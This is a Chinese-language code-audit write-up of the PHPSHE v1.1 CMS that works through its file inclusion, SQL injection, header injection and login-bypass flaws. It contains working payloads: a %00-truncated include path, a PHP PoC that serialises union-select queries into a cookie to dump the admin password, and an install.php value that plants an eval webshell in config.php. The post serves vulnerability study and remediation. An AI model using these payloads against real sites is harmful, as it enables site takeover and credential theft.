PHPSHEv1.1代码审计

前言

这套cms比较简单,没有用mvc,一些漏洞点比较简单,里面也有一些很有意思的漏洞点,适合记录一下。

流程

按照功能点进行审计,是比较适合我的审计方法。先从源码网站上下载下来cms,看一下目录结构比较简单。

将重要的目录展开来:



所以本次审计我们就从前台和后台的功能点入手,进行分析。

前台

index.php入口文件

先跟进common文件查看一下路由:

发现这个路由参数都没进行过滤,所以在index.php中就有一处文件包含漏洞,图中已经说明。
漏洞点:

1
include("{$pe['path_root']}module/{$module}/{$mod}.php");

$mod参数可控,当我们post传参进来时候没有进行过滤,造成文件包含漏洞。
发现限制了后缀必须为.php,如果PHP版本<5.3.4存在%00截断问题。
利用payload:

1
mod=../../robots.txt%00

模型的index.php文件

前台的默认页面,没有用户传参,只是默认展示页面,参数都写死了,没什么好分析的
article.php
文章处理文件
使用switch case语句进行文章不同功能的展示。

1
2
3
case 'list':
$class_id = intval($id);
$info_list = $db->pe_selectall('article', array('class_id'=>$class_id, 'order by'=>'`article_atime` desc'), '*', array(20, $_g_page));

传入的id被强制转换为整型,虽然没有过滤,但是无法进行sql注入
\$_g_page最后被传入到limt中用来限制显示的条数,\$limit = (\$this->page(\$_g_page) - 1) * \$this->listnum;return “ limit {\$limit}, {\$this->listnum}”; 无法利用

order.php
购物车商品处理文件

1
2
3
4
5
6
7
8
9
10
11
12
case 'cartadd':
$info['cart_atime'] = time();
//被强制转为整型不存在注入
$info['product_id'] = intval($_g_product_id);
$info['product_num'] = intval($_g_product_num);
$product = $db->pe_select('product', array('product_id'=>$info['product_id']), '`product_num`');
if ($product['product_num'] >= $info['product_num']) {
if (pe_login('user')) {
//$_s_user_id是没有经过过滤的,在低版本php如果没有开gpc,存在sql注入
//最后形成的sql注入为:select * from cart where product_id={$info['product_id']} and user_id=$_s_user_id(注入点)
$info['user_id'] = $_s_user_id;
$cart = $db->pe_select('cart', array('product_id'=>$info['product_id'], 'user_id'=>$_s_user_id));

我们发现\$_g_product_id和\$_g_product_num都强制转换成整型,但是\$_s_user_id没有转换,而且不存在过滤,导致sql注入
1
2
3
4
5
6
7
case 'cartnum':
$money['order_productmoney'] = $money['order_wlmoney'] = $money['order_money'] = 0;
if (pe_login('user')) {
//$_s_user_id和$_g_product_num都没过滤,导致sql注入 和上面的注入一样
//解决方法最简单的就是使用intval函数强制转换一下
$result = $db->pe_update('cart', array('user_id'=>$_s_user_id, 'product_id'=>$_g_product_id), array('product_num'=>$_g_product_num));
}

cartnum功能点也存在sql注入,\$_s_user_id和\$_g_product_num都没过滤,导致sql注入 和上面的注入一样。
1
2
3
4
5
6
case 'cartdel':
$money['order_productmoney'] = $money['order_wlmoney'] = $money['order_money'] = 0;
if (pe_login('user')) {
//故技重施还是存在sql注入问题 $_s_user_id没有过滤
$result = $db->pe_delete('cart', array('user_id'=>$_s_user_id, 'product_id'=>$_g_product_id));
}

同样的sql注入2333….
1
2
3

case 'add':
$cart_info = cart_info(unserialize($_c_cart_list));

这个漏洞点应该说整套cms最有意思的一个漏洞点,我们来好好分析一下。

跟进这个函数:

首先这个函数判断了一下用户的权限,如果权限够大直接查询user的所有数据。
如果不够大,就到了我们的漏洞点。经过分析发现\$k是没有经过过滤的,直接带入sql语句中查询,从而造成sql注入漏洞,需要注意的是这个漏洞点出现的位置是数组的键名,而不是键值。

所以我们写一个poc先序列化一下,然后再cookie中传入payload

1
2
3
4
5
6
7
8
poc.php

<?php
$b["'union select admin_name,2,3,4 from pe_admin -- -"][0] = '1\'';
$b["'union select admin_pw,2,3,4 from pe_admin -- -"][1] = '1\'';
$s = serialize($b);
print_r($s);
?>

1
a:2:{s:49:"'union select admin_name,2,3,4 from pe_admin -- -";a:1 {i:0;s:2:"v'";}s:47:"'union select admin_pw,2,3,4 from pe_admin -- -";a:1:{i:1;s:2:"v'";}}

用这条payload就可以查询管理员的账号和密码。
进行看add这个功能点,再87~99行又出现了sql注入漏洞,和前面的注入漏洞基本类似。这次\$_s_user_id和\$_s_user_name没有进行过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
$_p_info['user_id'] = $_s_user_id;
$_p_info['user_name'] = $_s_user_name;
$_p_info['user_address'] = "{$_p_province}{$_p_city}{$_p_info['user_address']}";
if ($order_id = $db->pe_insert('order', $_p_info)) {
foreach ($info_list as $v) {
$orderdata['product_id'] = $v['product_id'];
$orderdata['product_name'] = $v['product_name'];
$orderdata['product_smoney'] = $v['product_smoney'];
$orderdata['product_num'] = $v['product_num'];
$orderdata['order_id'] = $order_id;
$db->pe_insert('orderdata', $orderdata);
//更新商品库存数量
$db->pe_update('product', array('product_id'=>$v['product_id']), "`product_num`=`product_num`-{$v['product_num']}");

order文件最后一个功能点:pay(选择支付方式)
出现文件包含漏洞

page.php
传入参数太少,$act被强制转换,没有可以利用的点。

product.php
在第12~13行

1
$info['user_ip'] = pe_ip();

跟进pe_ip()后发现这个获取ip地址的函数

没有经过任何的过滤,存在XXF头注入。
第95行

1
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'";

可以看到\$_g_keyword没有经过过滤,直接拼接到sql语句中,导致搜索型注入漏洞。

user.php
这个页面存在很多sql注入漏洞,都和前面的sql注入产生原因一样,这里不在叙述。
第13行

1
if ($info = $db->pe_select('user', $_p_info))

判断数据是否存在,这里存在逻辑错误,可以使用万能密码绕过,同样有返回值。
在这个页面中还有一个pe_dbhold()函数,我们跟进去看

说是数据库安全,我们经过分析发现数组的键值是不存在sql注入的,但是键名还是没有过滤,同样会导致sql注入。

以上就是前台的代码分析


后台代码量比较大,而且出现的漏洞和前台都是一样的原理,都是sql注入居多。

我们只看install.php页面存在的一个任意代码执行漏洞。

我们看到这个\$_p_dbpre变量是没有经过过滤的,这就导致webshell到config.php中。

1
2
3
4

/install/install.php?step=setting

pesubmit=1&dbpre=');eval($_POST[1]);//&.....

总结

这套cms还是sql注入居多,有些意思的漏洞点有几个:install中的任意代码执行,pe_dbhold()函数检查问题,还有前台的order页面存在的一个cookie反序列化sql注入问题。

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×